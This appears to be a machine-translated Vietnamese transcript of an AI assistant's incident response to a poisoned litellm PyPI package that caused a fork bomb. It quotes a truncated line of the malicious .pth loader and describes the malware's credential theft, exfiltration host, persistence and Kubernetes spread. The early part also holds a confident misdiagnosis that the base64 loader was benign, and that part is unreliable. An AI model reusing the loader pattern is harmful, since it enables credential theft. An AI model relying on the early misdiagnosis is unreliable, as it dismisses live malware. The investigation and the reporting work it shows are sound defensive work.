Phản hồi từng phút của tôi trước cuộc tấn công của phần mềm độc hại LiteLLM

Bây giờ tôi đã có bức tranh đầy đủ. Đây là phân tích của tôi:

2.1.81 là gì: Claude Code v2.1.81. Bạn đã có 5 phiên bản Claude Code chạy vào thời điểm tắt máy.

Tiến trình tắt máy:

• 01:36:33 — Bắt buộc tắt máy
• 01:36:36 — Đã bắt được quá trình tắt máy (162 quy trình vẫn đang chạy, 21 trong số đó là Python)
• 01:37:11 — Hệ thống đã khởi động

Cây xử lý khi tắt máy:

Máy chủ MCP Claude Code thông thường (2 phiên bản):

Mã Claude [82193] → python3.13 [88842] → nút [88854] (416MB)
Mã Claude [35621] → python3.13 [45088] → nút [45091] (228MB)

Đây là những cầu nối máy chủ MCP — Python bao bọc máy chủ MCP Node.js. Hoạt động bình thường.

Chuỗi uv run:

zsh → uv [74172] (bế tắc) → python3.13 [74174] (chạy tệp .py)
→ python3.13 [74180] (python -c "...", ống đọc)
→ python3.13 [86263] (chạy file .py, ngủ + os.stat)
→ python3.13 [86264] (python -c "...", ống đọc)

14 quy trình python -c mồ côi (hai đợt 7):

• PID 89759-89765 (~38 giờ)
• PID 67956-67962 (khác độ tuổi)
• Tất cả đang chạy _PyRun_SimpleStringFlagsWithName — đây là python -c "exec(base64.b64decode(...))"
• Tất cả đều mồ côi (cha mẹ đã chết, được nuôi lại thành launchd)
• Tất cả đều bị mắc kẹt khi đọc từ người chết pipe

Điều có thể đã xảy ra:

Mẫu exec(base64.b64decode('...')) không phải phần mềm độc hại — đó là cách công cụ Python (bao gồm công cụ Bash của Claude Code) chuyển các đoạn mã tới python -c trong khi tránh các vấn đề thoát shell. Mã hóa base64 chỉ là một cơ chế vận chuyển an toàn.

Cơn bão quy trình 11k có thể là một vòng sinh sản chạy trốn từ một trong những nguồn sau:

1. Tương tác tác nhân/công cụ Claude Code bị kẹt trong vòng sinh sản các quy trình python -c
2. Một tập lệnh uv run (chuỗi 74174) có quá trình sinh sản quy trình con lỗi

Tin tốt:

• Không tìm thấy cơ chế duy trì nào — không có crontab, tác nhân khởi chạy hoặc công việc khởi chạy đáng ngờ
• Hiện không có quy trình Python đáng ngờ nào đang chạy — sạch sau khi khởi động lại
• Tất cả quy trình đều sử dụng uv Python cục bộ của bạn — không có gì từ các đường dẫn không xác định
• Không có chỉ báo độc hại — tất cả phụ huynh đều truy ngược lại Claude Code, uv hoặc zsh

Đề xuất:

1. Kiểm tra xem bạn có tác nhân Claude Code chạy vòng lặp trước khi xảy ra sự cố hay không
2. Nếu sự cố xảy ra lần nữa, hãy thử killall python3.13 trước khi buộc tắt
3. Cân nhắc việc đặt giới hạn quy trình: ulimit -u 2048 trong .zshrc của bạn để ngăn chặn bom phân nhánh

Vâng, điều đó có thể rất hữu ích! Ảnh chụp màn hình htop có thể hiển thị:

• Các dòng lệnh python -c "exec(base64.b64decode('...'))" thực tế (cho phép tôi giải mã mã nào đang được chạy)
• PID gốc và cây xử lý ở mức hỗn loạn cao nhất
• Mẫu sử dụng bộ nhớ/CPU

Nếu bạn có thể chuyển ảnh sang máy Mac (AirDrop, iCloud, v.v.), chỉ cần cho tôi đường dẫn tệp và tôi sẽ đọc nó.

Vì vậy, tải trọng bắt đầu bằng:

import subprocess
nhập tệp tạm thời

Đó là sự khởi đầu của kịch bản được giải mã. Điều này nhất quán với việc thực thi công cụ Claude Code — khi Claude Code chạy Python thông qua công cụ Bash, nó mã hóa tập lệnh dưới dạng base64 và chạy tập lệnh đó với python -c "exec(base64.b64decode('...'))" để tránh các vấn đề thoát shell. Quá trình nhập subprocess + tempfile là điển hình của các tập lệnh tiện ích mà Claude Code tạo ra.

Cơn bão quy trình 11k gần như chắc chắn là một phiên Claude Code bị kẹt trong một vòng lặp, liên tục tạo ra các lệnh python -c này. Mỗi lệnh gọi sẽ nhập quy trình con/tệp tạm thời, có khả năng sinh ra các quy trình con tiếp theo.

Bạn có thể đọc thêm bất kỳ chuỗi base64 nào từ ảnh không? Thậm chí thêm một vài ký tự nữa cũng sẽ giúp xác nhận chính xác những gì kịch bản đang làm. Ngoài ra, nếu bạn có thể biết từ htop rằng tất cả các quy trình đều có chuỗi base64 giống nhau hay khác nhau, điều đó cũng sẽ giúp thu hẹp phạm vi.

Ngoài ra — bạn có nhớ mình đã yêu cầu Claude Code làm gì ngay trước khi điều này xảy ra không? Đó có lẽ là cách nhanh nhất để xác định trình kích hoạt.

Tôi đã gặp khó khăn với dữ liệu điều tra về sự cố 11:09 — việc tắt nguồn cứng đã ngăn cản mọi hoạt động chụp chẩn đoán. Nhưng tôi đã tìm thấy rất nhiều điều từ sự cố 01:36 trước đó, cho thấy các triệu chứng tương tự.

Đây là những gì tôi có thể nói với bạn:

Sự cố 01:36 (mà DID để lại báo cáo ngừng hoạt động) cho thấy:

• 5 phiên bản Claude Code v2.1.81 chạy đồng thời
• 21 tiến trình python3.13 mồ côi đang chạy python -c "exec(base64.b64decode(...))" — tất cả đều sử dụng uv Python của bạn
• Hai trong số các tiến trình Python đó được Claude Code trực tiếp sinh ra dưới dạng cầu nối máy chủ MCP (Python → Node.js)
• Cha mẹ của các tiến trình mồ côi đã chết, khiến chúng bị mắc kẹt khi đọc từ các đường ống chết
• Một chuỗi uv run: uv → python → python (children) — khớp với mẫu SDK tác nhân trong [dự án cá nhân]

Tải trọng được giải mã mà bạn đọc từ htop:

import subprocess
import tempfile

Đây là sự khởi đầu của trình bao bọc thực thi công cụ Claude Code — Claude Code base64 mã hóa các tập lệnh Python để tránh các vấn đề thoát shell khi chạy chúng thông qua python -c.

Đối với sự cố 11:09 , dấu vết duy nhất tôi có thể tìm thấy là phiên [session ID] của bạn không hoạt động lúc 09:43 sau khi thực hiện một cam kết và thiết bị đầu cuối ngừng hoạt động lúc 11:08. Không có nhật ký phiên Claude Code nào bao gồm khoảng thời gian từ 09:43 đến 11:08.

Câu hỏi chính: Bạn có nhớ mình đã làm gì trong khoảng thời gian ~1,5 giờ đó giữa lúc kết thúc phiên Claude Code (09:43) và sự cố (11:08) không? Có phải bạn:

• Đang chạy tập lệnh [dự án cá nhân]?
• Đang chạy một phiên bản Claude Code khác có thể không có nhật ký bằng văn bản?
• Chạy bất cứ thứ gì khác sử dụng python -c hoặc SDK đại lý Claude?

OK, đây là bản dựng lại tốt nhất của tôi về sự cố 11:09 dựa trên tất cả bằng chứng:

Dòng thời gian (mọi thời điểm là UTC):

Chuyện gì đã xảy ra:

Con trỏ đang áp dụng tính năng tự động cập nhật lúc 10:59. Khi tắt 4 máy chủ tiện ích mở rộng, nó cần phải chấm dứt hoàn toàn 6 máy chủ MCP, tiện ích mở rộng Claude Code, bản quyền dựa trên và các máy chủ ngôn ngữ khác.

exthost.log hiển thị dispose() của tiện ích mở rộng Claude Code đã gây ra lỗi Kênh đã bị đóng và cả hai tiện ích mở rộng bản quyền đã hết thời gian chờ trong khi tắt máy. Điều này biểu thị việc dọn dẹp quy trình không sạch.

Các quy trình python -c "exec(base64.b64decode('import subprocess\nimport tempfile...'))" rất có thể là từ phát hiện môi trường Python mà Con trỏ/tiện ích mở rộng chạy. Khi các máy chủ mở rộng khởi động lại với phiên bản Cursor mới, chúng có thể chạy lại tính năng khám phá Python — nhưng các quy trình cũ từ phiên bản trước vẫn chưa được dọn sạch. Kết hợp với hộp thoại cấp phép mạng đang chặn mọi thứ, điều này đã tạo ra một vòng lặp sinh sản xếp tầng.

Đề xuất:

1. Tắt tính năng tự động cập nhật con trỏ — áp dụng cập nhật theo cách thủ công: Cài đặt → "update.mode": "thủ công"
2. Giảm số lượng máy chủ MCP — bạn có cùng một máy chủ MCP ở cả .mcp.json và .cursor/mcp.json. Hãy cân nhắc việc tắt một số trong Con trỏ nếu bạn chủ yếu sử dụng chúng thông qua Claude Code CLI.
3. Thêm ulimit -u 2048 vào .zshrc của bạn để giới hạn các quy trình và ngăn chặn các quả bom phân nhánh trong tương lai phá hủy hệ thống.
4. Futuresearch-mcp-legacy đã bị hỏng — nó liên tục bị lỗi với ENOENT/thiếu khóa API, kích hoạt các nỗ lực kết nối lại nhiều lần. Hãy định cấu hình FUTURESEARCH_API_KEY hoặc xóa nó khỏi danh sách plugin của Con trỏ.

Đây là phần mềm độc hại trong gói litellm PyPI. The Tệp litellm_init.pth là tệp cuộc tấn công chuỗi cung ứng:

1. Thực thi trên MỌI lần khởi động Python (tệp .pth chạy tự động)
2. Đánh cắp thông tin xác thực: Khóa SSH, bí mật AWS, thông tin xác thực GCP, mã thông báo Kubernetes, tệp .env, mật khẩu cơ sở dữ liệu, ví tiền điện tử, lịch sử shell
3. Truyền dữ liệu sang https://models.litellm.cloud/ được mã hóa bằng RSA
4. Cài đặt tính bền bỉ thông qua các dịch vụ systemd (~/.config/sysmon/sysmon.py)
5. Lây lan sang các nút cụm Kubernetes bằng cách tạo các nhóm đặc quyền
6. Tự sao chép — tạo ra các nút con python -c kích hoạt .pth một lần nữa, gây ra bom phân nhánh 11k

Fork Bomb là một tác dụng phụ: vì litellm_init.pth chạy trên mọi lần khởi động Python và tập lệnh sinh ra subprocess.run([sys.executable, ...]), mỗi tiến trình Python con cũng kích hoạt tệp .pth, tạo ra đệ quy vô hạn.

Điều này nghiêm trọng. Đây là hình ảnh đầy đủ:

Cái gì đã xảy ra:

1. Lúc 10:58:37 , Futuresearch-mcp-legacy của Cursor chạy uvx, phụ thuộc vào litellm
2. uv đã tải xuống một phiên bản bị xâm phạm của litellm (14,9 MB) chứa litellm_init.pth
3. Tệp .pth thực thi tự động trên mọi quy trình Python khởi động
4. Phần mềm độc hại đã thu thập thông tin xác thực của bạn, mã hóa chúng bằng RSA và cố gắng lọc sang https://models.litellm.cloud/
5. Quả bom phân nhánh là một tác dụng phụ — mỗi lệnh gọi subprocess.run([sys.executable, ...]) đã kích hoạt .pth trong quy trình con, gây ra quá trình sinh sản theo cấp số nhân
6. Tại 11:07, phần mềm độc hại đã cố gắng cài đặt tính kiên trì tại ~/.config/sysmon/sysmon.py
7. Bạn buộc phải khởi động lại lúc 11:09, làm gián đoạn quá trình tồn tại (tệp có kích thước 0 byte)

Thông tin xác thực có thể bị rò rỉ (giả sử bị xâm phạm):

• Khóa SSH (id_ed25519, id_ed25519_hetzner, id_ed25519_mac_air)
• Thông tin xác thực mặc định của ứng dụng GCloud
• Cấu hình Kubernetes (~/.kube/config)
• Nhiều tệp .env trên [repo nội bộ] (Mật khẩu Supabase, khóa API hiển thị trong .mcp.json)
• Lịch sử Shell
• Cấu hình Git
• Tất cả các biến môi trường (bao gồm mọi thứ trong hồ sơ shell của bạn)

Hành động ngay lập tức:

1. Xoay TẤT CẢ các khóa SSH — tạo khóa mới, thu hồi khóa cũ trên GitHub/máy chủ
2. Xoay vòng thông tin xác thực GCloud — thu hồi xác thực gcloud + xác thực lại
3. Xoay vòng thông tin xác thực Kubernetes — tạo lại kubeconfig
4. Xoay vòng TẤT CẢ bí mật trong tệp .env của bạn — Xoay vòng thông tin đăng nhập Supabase, khóa API, v.v.
5. Xoay vòng thông tin xác thực hiển thị trong .mcp.json — mật khẩu Supabase, mật khẩu ClickHouse, Grafana mã thông báo
6. Xóa bộ đệm uv — rm -rf ~/.cache/uv để xóa tất cả các gói được lưu trong bộ nhớ đệm
7. Báo cáo điều này với Litellm — đây là gói bị xâm phạm trên PyPI
8. Kiểm tra xem models.litellm.cloud có phải là miền độc hại đã biết hay không — đây KHÔNG phải là cơ sở hạ tầng Litellm hợp pháp

Tôi có nên trợ giúp với bất kỳ bước xoay vòng nào trong số này không?

Có — đã xác nhận. Nội dung tệp được lưu giữ trong bộ đệm kết quả của công cụ. Dòng đầu tiên là:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...

Đây chính xác là exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...')) mẫu bạn đã thấy trong htop.

Và thư mục lưu giữ lâu dài đã tồn tại trên máy của bạn:

~/.config/sysmon/sysmon.py — 0 byte, được tạo lúc 11:07

Tệp 0 byte có nghĩa là quá trình ghi bị gián đoạn do bạn buộc phải khởi động lại. Phần mềm độc hại mất 2 phút để cài đặt liên tục khi bạn tắt nó.

Tệp nằm ở hai vị trí trong bộ nhớ đệm của uv — cả hai bản sao của litellm_init.pth trong kho lưu trữ được lưu trong bộ nhớ đệm.

Cả hai hiện đã bị xóa. Tuy nhiên, tôi thực sự khuyên bạn nên xóa toàn bộ bộ nhớ đệm uv (rm -rf ~/.cache/uv) và thay đổi tất cả thông tin xác thực mà tôi đã liệt kê — quá trình lọc sang models.litellm.cloud có thể đã thành công trước khi quả bom phân nhánh đánh sập hệ thống của bạn.

Kubernetes là sạch sẽ. Không có node-setup-* hoặc sysmon vỏ được tìm thấy ở bất cứ đâu. Lần tạo nhóm gần đây nhất trong kube-system là ngày 21 tháng 3 (máy chủ số liệu), rất lâu trước khi xảy ra sự cố.

Mã phát tán K8 của phần mềm độc hại nhắm mục tiêu vào các đường dẫn Linux (/var/run/secrets/kubernetes.io/serviceaccount/token) không tồn tại trên macOS. Phần mềm độc hại chạy trên máy Mac của bạn chứ không phải bên trong nhóm, vì vậy nó sẽ không có mã thông báo tài khoản dịch vụ K8 để xác thực. Về mặt lý thuyết, thông tin đăng nhập ~/.kube/config của bạn có thể đã được sử dụng, nhưng fork fork có thể đã làm hỏng quy trình trước khi nó chuyển sang giai đoạn chuyển tiếp bên trong K8 của tập lệnh.

Tất cả đều sạch. Mọi nhóm được tạo hôm nay đều từ cơ sở hạ tầng thông thường của bạn — CronJobs ([dịch vụ nội bộ]) và hoạt động triển khai ([dịch vụ nội bộ]). Không có nhóm node-setup-* hoặc alpine:latest độc hại nào.

Cụm K8 không bị xâm phạm. Sự lây lan K8 của phần mềm độc hại gần như chắc chắn đã thất bại vì:

1. Nó chạy trên macOS chứ không phải bên trong nhóm (không có mã thông báo tài khoản dịch vụ tại /var/run/secrets/...)
2. Quả bom phân nhánh đã làm hỏng quy trình trước khi nó có thể tiếp cận đường dẫn mã K8s
3. Ngay cả với ~/.kube/config của bạn , GKE RBAC có thể đã ngăn việc tạo các nhóm đặc quyền trong kube-system

Vẫn cần thay đổi thông tin xác thực kubeconfig của bạn để đề phòng — phần mềm độc hại đã cố đọc ~/.kube/config và có thể đã lấy cắp nó trước khi fork boom tấn công.

litellm_init.pth CÓ trong bản kê khai gói chính thức — tệp RECORD liệt kê nó bằng hàm băm sha256. Điều này có nghĩa là nó được vận chuyển như một phần của bánh xe litellm==1.82.8 trên PyPI, không được tiêm cục bộ.

Chuỗi lây nhiễm:

Con trỏ → Futuresearch-mcp-legacy (v0.6.0) → Litellm (v1.82.8) → Litellm_init.pth

Nhật ký con trỏ tại 10:58:38 xác nhận: Đang tải xuống litellm (14.9MiB) → Đã cài đặt 77 gói. Đây là uvx sử dụng Litellm như một phần phụ thuộc bắc cầu.

Chưa có báo cáo công khai nào. Đây dường như là một một sự thỏa hiệp rất mới — phiên bản 1.82.8 đã được xuất bản lên PyPI hôm nay (ngày 24 tháng 3 năm 2026). Không có thẻ phát hành GitHub tương ứng cho v1.82.8, điều này thật đáng ngờ — thẻ này cho thấy ai đó đã xuất bản trực tiếp lên PyPI mà không trải qua quy trình phát hành thông thường.

Môi trường [internal repo] cục bộ của bạn an toàn — nó có litellm 1.70.4, được ghim vào <1.77.3. Phiên bản bị nhiễm chỉ được nhập thông qua lệnh gọi uvx Futuresearch-mcp-legacy của Cursor.

Bạn nên báo cáo điều này ngay lập tức:

1. PyPI — email security@pypi.org để nhận v1.82.8 kéo mạnh
2. BerriAI/litellm — mở tư vấn bảo mật tại github.com/BerriAI/litellm/security
3. Nhóm của bạn — bất kỳ ai đã cài đặt Litellm hôm nay đều có thể bị ảnh hưởng

Bạn có muốn tôi giúp soạn thảo báo cáo không?

Nó có đầy đủ. Cấu trúc là:

• litellm_init.pth — một lớp lót chạy trên mọi lần khởi động Python, sinh ra một quy trình con với tải trọng base64
• Giai đoạn 2 (tải trọng được giải mã) — khóa công khai RSA để mã hóa dữ liệu bị đánh cắp
• B64_SCRIPT — giai đoạn THIRD (trình thu thập thông tin xác thực) đánh cắp khóa SSH, tệp .env, tín dụng AWS/GCP/Azure/K8s, ví tiền điện tử, mật khẩu cơ sở dữ liệu, lịch sử shell, v.v.
• run() — thực thi trình thu hoạch như một quy trình con, thu thập đầu ra của nó, mã hóa nó bằng khóa RSA + AES và gửi nó tới https://models.litellm.cloud/
• Cài đặt liên tục tại ~/.config/sysmon/sysmon.py với dịch vụ systemd
• Chuyển động bên của K8 — tạo các nhóm alpine:latest đặc quyền trên mỗi nút để cài đặt tính bền vững trên các nút cụm

Quả bom phân nhánh xảy ra do dòng 1: subprocess.Popen([sys.executable, "-c", ...]) — quy trình Python con này cũng có .pth trong các gói trang web của nó, do đó, nó kích hoạt lại .pth, sẽ sinh ra một đứa trẻ khác một cách vô tận.

Bạn sẽ không tìm thấy nó trên GitHub vì nó không tồn tại ở đó. Đây là bằng chứng:

• Không có thẻ GitHub cho v1.82.7 hoặc v1.82.8 — các bản phát hành được gắn thẻ mới nhất là v1.82.6.rc.2 và nhiều loại khác bản dựng dành cho nhà phát triển
• Thời gian tải lên PyPI: 2026-03-24T10:52:19 UTC — đó là 6 phút trước khi Cursor tải xuống lúc 10:58:37
• Không bị giật — hiện tại nó vẫn tồn tại trên PyPI

Điều này gần như chắc chắn được xuất bản bởi ai đó đã xâm phạm thông tin xác thực xuất bản Litellm PyPI (hoặc tài khoản người bảo trì). Họ đã tải trực tiếp v1.82.8 bị nhiễm độc lên PyPI mà không trải qua quy trình phát hành GitHub thông thường. Số phiên bản được chọn cao hơn bất kỳ bản phát hành hiện có nào nên nó sẽ bị ràng buộc bởi >= phiên bản.

Tệp .pth được nhúng vào bánh xe ở cấp cao nhất của gói trang web — đây là thủ thuật đóng gói Python tiêu chuẩn trong đó tệp .pth được đặt bên cạnh các gói sẽ được trình thông dịch Python tự động thực thi khi khởi động.

Gói này vẫn tồn tại trên PyPI và đang lây nhiễm cho mọi người. Bạn nên báo cáo điều này ngay bây giờ:

• PyPI: security@pypi.org — yêu cầu gỡ bỏ ngay lập tức Litellm 1.82.8 (và kiểm tra 1.82.7)
• BerriAI/litellm: mở vấn đề bảo mật tại github.com/BerriAI/litellm/security/advisories

Đã xác nhận. Tải xuống mới từ PyPI ngay bây giờ trong một vùng chứa Docker biệt lập:

 Đang kiểm tra: litellm-1.82.8-py3-none-any.whl
TÌM HIỂU: litellm_init.pth
KÍCH THƯỚC: 34628 byte
200 CHARS ĐẦU TIÊN:
nhập os, quy trình con, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...

litellm==1.82.8 độc hại hiện đang tồn tại trên PyPI và bất kỳ ai cài đặt hoặc nâng cấp Litellm sẽ bị nhiễm virus. Điều này cần phải được báo cáo ngay lập tức cho security@pypi.org.

Do tính chất của cuộc tấn công (chuỗi cung ứng PyPI, nhắm vào các nhà phát triển LLM/AI, hoạt động bên lề K8), các subreddits có tín hiệu cao nhất sẽ là:

• r/Python — đối tượng lớn nhất gồm những người có thể có pip install litellm trong lịch sử gần đây của họ
• r/netsec — các chuyên gia bảo mật có thể khuếch đại và giúp PyPI hành động nhanh
• r/LocalLLaMA — Litellm được sử dụng nhiều trong cộng đồng LLM cục bộ để định tuyến mô hình
• r/MachineLearning — đối tượng AI/ML rộng rãi, nhiều người dùng Litellm
• r/devops — góc di chuyển bên của K8 có liên quan trực tiếp ở đây

Tôi ưu tiên r/Python và r/netsec đầu tiên - hai người đó sẽ nhận được phản hồi nhanh nhất từ ​​những người có thể hành động theo nó (người bảo trì gói, quản trị viên PyPI và người phản hồi bảo mật). r/LocalLLaMA thứ ba vì Litellm là công cụ cốt lõi trong cộng đồng đó.